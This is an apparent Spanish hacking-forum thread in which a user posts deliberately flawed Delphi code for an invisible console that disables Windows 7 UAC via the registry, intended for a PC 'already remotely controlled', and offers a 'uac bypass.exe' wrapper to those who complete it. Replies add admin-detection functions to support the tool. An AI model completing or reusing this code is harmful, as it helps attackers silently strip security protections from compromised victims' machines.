• Delphi

 #431396  por joselin
 
se me ocurrio una forma de compartir y que ademas que algunos se inicien en delphi
posteo este source con errores echos a proposito
es una consola que "ejecutada como administrador" en windows 7 (solo en este contexto) deshabilita uac desde el registro "

( hize este codigo en media hora buscando las referencias en google)

la tarea es remplazar las x con los valores correctos y
hacer que la consola sea invisible(esta indicado en el code )

osea que el ejecutable final desactivara uac en modo invisible al usuario
los interesados me envian por mensaje privado el codigo final (con todas las correcciones que les pido)
pegado en un bloc de notas y a cambio por su interes en el tema, les voy a dar
"uac bypass.exe"
al que solamente deberan agregarle como recurso (los que modean saben como)
este ejecutable que ustedes crearon , quedando totalmente funcional, para que al ser ejecutado pondra a dormir uac desde el registro(el reinicio corre por su cuenta,) la herramienta esta pensada para un
pc ya controlado remotamente
el limite de tiempo de entrega es el 6 de diciembre de 2013
los codigos con errores se descartan (solo hay una posibilidad, ya que no es un codigo complejo)
posteen su dudas referidas al tema , no a soluciones del codigo,y por mp me envian el bloc de notas con su codigo
saludos y digan que les parece la idea.
 #431409  por Pink
 
hace falta también agregar una función si soy admin (hago lo que tengo que hacer)

saludos
 #431496  por joselin
 
el programa que hize al ejecutarse verifica si la sesion en donde se ejecuta es de administrador y si no es asi se cierra.
en caso de ejecutarse en un entorno de sesion elevado extrae el ejecutable que esta en esta en este post y lo ejecuta como administrador sin
preguntar nada (estoy viendo la posibilidad de darle compatibilidad con 64 bit
por el momento solo funciona en 32)
saludos pink, metal
 #431498  por Metal_Kingdom
 
Algo así?
program Project1;

{$APPTYPE GUI}

uses
  Winapi.Windows;

Function ExeIsAdmin: bool;
var
  Dir: array [0 .. MAX_PATH] of Char;
  F: THandle;
begin
  Result := False;
  GetSystemDirectory(Dir, MAX_PATH);
  F := CreateFile(PChar(Dir + '\hola.txt'), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  if F <> INVALID_HANDLE_VALUE then
  begin
    Result := True;
    CloseHandle(F);
    DeleteFile(PChar(Dir + '\hola.txt'));
  end;
end;

begin
  if ExeIsAdmin then
  begin
    { Aquí hacemos lo que queramos }
  end;

end.
Saludos.
 #431521  por joselin
 
uso esta funcion que la saque de stackoverflow y de un codigo de snify
(forista de ic0de)que publico este año
Código: Seleccionar todo
function CheckTokenMembership(TokenHandle: THandle; SidToCheck: PSID; var IsMember: BOOL): BOOL; stdcall; external advapi32;
   //verifica  permiso para ejecutar
function IsUserElevatedAdmin : Bool;
const
  SECURITY_NT_AUTHORITY       : TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0, 5));
  SECURITY_BUILTIN_DOMAIN_RID = $00000020;
  DOMAIN_ALIAS_RID_ADMINS     = $00000220;
var
  SecurityIdentifier          : PSID;
begin
   if not(AllocateAndInitializeSid (SECURITY_NT_AUTHORITY, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, SecurityIdentifier)) then exit(false);
   if (not(CheckTokenMembership(0, SecurityIdentifier, result))) then result := FALSE;
   FreeSid(SecurityIdentifier);
end;

begin

var
 VersionInfo : OSVERSIONINFO;

begin 

try
//aca deteccion Windows 7, 8:   y si el usuario es administrador
    VersionInfo.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
  GetVersionEx(VersionInfo);
  
  if ( (VersionInfo.dwMajorVersion = 6) and ( (VersionInfo.dwMinorVersion = 1) or (VersionInfo.dwMinorVersion = 2) ) and (not(IsUserElevatedAdmin)) ) then begin
metal si no te molesta, el viernes 6 entrego el programa a todos los que mandaron mp (recien conecte el disco con win7 y estoy revisando el codigo)
saludos